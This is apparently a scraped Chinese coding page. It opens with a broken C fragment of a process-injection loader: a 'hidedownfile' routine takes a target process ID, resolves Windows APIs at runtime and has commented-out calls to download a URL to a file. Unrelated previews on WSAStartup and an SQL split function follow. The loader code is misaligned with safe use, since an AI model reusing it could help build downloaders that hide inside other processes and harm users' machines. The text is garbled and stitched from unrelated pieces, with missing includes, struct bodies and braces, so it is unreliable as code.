#include
#include
#define maxinjectsize (2048*7)
struct tagdowninfo
t_messagebox pmessagebox =(t_messagebox)pgetprocaddress(huser32dll, pinfo->szmessagebox);
//pmessagebox(null, pinfo->szurl, pinfo->szfile, 0);
//判斷程式最終正確執行
//hmodule hdll = ploadlibrary( pinfo->szurlmon );
//t_urldownloadtofile purldownloadtofile = (t_urldownloadtofile)pgetprocaddress( hdll, pinfo->szurldowndtofile);
// purldownloadtofile(null, pinfo->szurl, pinfo->szfile, 0, null);
//取得wsastartup的位址
hmodule socklib=ploadlibrary(pinfo->v_ws2_32_lib);
if (!socklib)
t_wsastartup pwsastartup =(t_wsastartup)pgetprocaddress(socklib, pinfo->szwsastartup);
if(!pwsastartup)
pwsastartup(pinfo->v_versionrequeste,&pinfo->v_wsadata);
return 0;
}bool hidedownfile(tagdowninfo* pinfo, dword dwprocessid)
WSAStartup函式和WSACleanup函式
以下是vc socket初始化時用到的兩個函式 一 wsastartup函式 int wsastartup word wversionrequested,lpwsadata lpwsadata 使用socket的程式在使用socket之前必須呼叫wsastartup函式。該函式的第乙個引數指明程式請...
C S構架學習之WSAStartup 函式使用
winsock windows socket 程式設計依賴於系統提供的動態鏈結庫 dll 使用 dll 之前必須把 dll 載入到當前程式,可以在編譯時載入,也可以在程式執行時載入。使用 winsock dll 庫程式設計之前,需要呼叫 wsastartup 函式進行初始化,以指明 winsock ...
Sql 分隔字元創函式
create function splitstring rowdata varchar 2000 spliton varchar 5 returns rtnvalue table data nvarchar 100 as begin while charindex spliton,rowdata 0...